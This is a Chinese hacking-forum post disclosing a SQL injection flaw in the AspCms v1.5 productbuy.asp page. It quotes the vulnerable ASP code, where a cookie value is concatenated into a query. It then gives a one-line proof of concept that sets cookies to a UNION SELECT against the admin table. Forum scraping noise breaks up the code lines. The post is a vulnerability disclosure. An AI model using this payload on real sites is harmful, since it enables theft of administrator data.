找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2181|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....) M7 i2 f9 D  c
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
8 m6 J% y7 B+ K- T废话不多说,看代码:5 C' l3 k1 B) P& w2 L" z
2 e& ]! I+ E2 [4 z, d
<%
& L# [( ^2 ]8 ^% t$ q- v, R9 P0 Y4 A* q
if action = "buy" then' k# \2 S1 o9 @# j. C6 G: X
% O3 D: Z% y7 b# T; o# l
        addOrder()4 m- Q/ N% @2 n: {0 G

* k  B. H: k. g4 e3 U/ Aelse9 m8 w" f7 @* s; x
7 d5 z6 R/ _! E/ c3 s/ J1 J* f7 ^
        echoContent()
1 m" x. c/ C5 D; Y! i! T
; X  q# a! N$ E3 a: ?# Fend if
& t) Y/ G! j1 t+ {/ y+ O" T% h: a+ K& c8 M7 a* {  R, O

. }& a. y/ z: D
- T/ p/ N. x  x……略过! X2 K( {$ C. V; T9 O

( Z1 a5 Y" X6 b/ I- q
2 h" U( ^6 k5 B) e+ s9 Q" \9 ~& r& P
1 `, k# C" ?9 ~% GSub echoContent()
/ m7 F8 ?& _3 a
6 B+ ?) }. e& s! ?        dim id5 B. P  K' W1 F

6 u5 `) c) |5 D        id=getForm("id","get")1 q, w$ p) Z* A3 f5 s. h

/ C% ?0 b, p& x) ^  c/ W        
) ?' H0 P* i0 ~
! a0 r0 G1 K2 b2 d2 r; v        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 3 h% c" k3 l$ p& [& T

( \+ _0 k0 V! g# i1 W        
7 u6 ?, u9 _) o' o; B& B4 I* Q
# c" _5 F  U% b' J1 S        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
  s$ ~& {* F7 ^! L2 @5 A) Q4 z/ K
0 j. L' }; a( C6 U$ C! m        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct+ D' ~' g! v$ v+ x+ Z

' T, j% r) o$ l5 \        Dim templatePath,tempStr
: k8 b( D: o$ C% ~8 u# h0 H, i$ X8 \  E( R3 s: ?- L! M$ P  `2 e
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
% r1 u7 f2 l0 h$ c1 ^9 r. H7 S0 M

5 G( W4 J( Q0 D
6 [. q9 \% ?' [        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
- O, Z" n* ~/ s1 t8 j% ]4 k
4 R% U1 ^8 h! L* f" i/ `% L% j        selectproduct=rsObj(0)4 \! g: ~2 ?: Y5 Q! [7 h& N
: l- _2 i; e" Q( Z
          s4 L+ }8 `& u1 v3 I4 p
7 }- U0 D) t+ r. I7 C
        Dim linkman,gender,phone,mobile,email,qq,address,postcode
0 O. n/ W# I- R( |. B$ Y" {& M) U4 r# m
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",05 J4 z2 X3 x' N3 t

" A& O/ i, u5 ~& \# Y! x# l6 M        if rCookie("loginstatus")=1 then  
+ t* b* C/ p2 ]( r$ B: }1 |# j' k2 {
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
  q. X0 F( }. t+ T
6 i/ q; `( ]" Z' J                linkman=rsObj("truename")
- u  ?* F" [1 M8 K# \; ~
6 J; M9 _' H1 L                gender=rsObj("gender")' r( g# D/ A3 I0 m/ U
4 P/ W  {6 a' f: p
                phone=rsObj("phone")" s. a& U+ O( B: U

2 ?  O0 {' ?% C$ s( ]                mobile=rsObj("mobile")  g% T8 U+ B4 A* q5 k4 r1 p

4 h, M2 f% A( Z3 V* `1 G                email=rsObj("email")# X: h1 h. h; e- w2 S
' W3 ]9 J* M9 Q8 f, l
                qq=rsObj("qq")
, C0 h1 {5 Y2 R3 p# u( t* _$ }9 h# ~3 ^! t
                address=rsObj("address")
" {  P! O: ~+ B3 I0 r5 E2 V/ p' Z
                postcode=rsObj("postcode")
$ @5 j  g+ J& f% D6 o
2 J, x! `4 r/ d2 F. z/ Y        else
0 t  E1 h3 h* b: n7 G2 P' G: M2 F) k1 V& I; l- J  G! |8 R
                gender=1
! B$ a- J- U& b' d6 G7 q* Q9 [" V3 ~! H0 F  F
        end if
' z* r- B6 A7 N
! ~4 |  X1 `% P2 w) \8 A' u        rsObj.close()3 s$ {) ?8 ]2 ~* E$ p( M. o& u

8 ]5 ^2 s& h+ k$ q                6 L; y5 _6 k  S8 T3 i

9 ?8 }/ y  u$ w6 t% M6 Z: b* E        with templateObj
) Y( N+ V2 ?# l$ x9 l6 l: `8 r
" }, k- I( }* h# z8 V, \                .content=loadFile(templatePath)        $ I8 j/ t1 v& d, E0 s

% m( t" d- o9 a7 v$ [* U, b                .parseHtml()
0 z. P$ Z4 {9 k, g, w0 |# W
  J0 r' q' G: T# [1 u                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
* P  N% [* n, T! q. y& s, \! {: U$ x, c- |, R5 c# s
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
* u9 Y+ ^  |' B* O4 `' ^5 c/ D1 Y9 n1 i  _& q3 n
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
- L7 I8 e4 l4 d% B, t
7 U$ V8 w1 c" ~/ [! E+ ~* [                .content=replaceStr(.content,"[aspcms:phone]",phone)                7 F* f; m! n3 \% h; K
( k" k7 a3 O4 }  ?, v- b
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
' t% G- p$ Z/ C1 o; V3 g! r
" I9 j1 o" G0 N1 L4 P/ W8 v* ?                .content=replaceStr(.content,"[aspcms:email]",email)                        0 [& o! d% H5 `
# w4 P# O  Y, x6 ]
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
# ^5 @2 a, W% M, ?& K. g2 n0 j3 P& a' }5 B- w% v2 B
                .content=replaceStr(.content,"[aspcms:address]",address)                        
& B% n9 b/ F! O% O# e
+ G9 e" F& \4 E: b  @3 D                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        0 ^( t* D: d8 U. d. C. j( F+ [
5 k; [  b. ^! _, M  l' J
                .parseCommon()                 2 {/ J# R) n1 P* t1 h. j

# R$ m" N" N; G! |/ D4 G4 S" F  i                echo .content 9 N% a7 P( o2 W8 k) e0 H
9 s" I- u/ [  a: o
        end with8 t( p5 d, \$ o8 l( o% i" }5 i

$ l% {" q- y# z- P        set templateobj =nothing : terminateAllObjects
4 V& ~7 h  }  p
# C! t" t; d3 ?! ZEnd Sub
6 x9 p2 X1 U3 a  u漏洞很明显,没啥好说的' C; p* T( G( D  s3 {2 }* ?/ x
poc:
  z% a5 n* n5 J) n" I$ n4 E' |# s
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
7 F6 w4 k" t: e% Q! |% x& g3 m& t
$ C5 n' ?) p6 z7 v, D1 ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表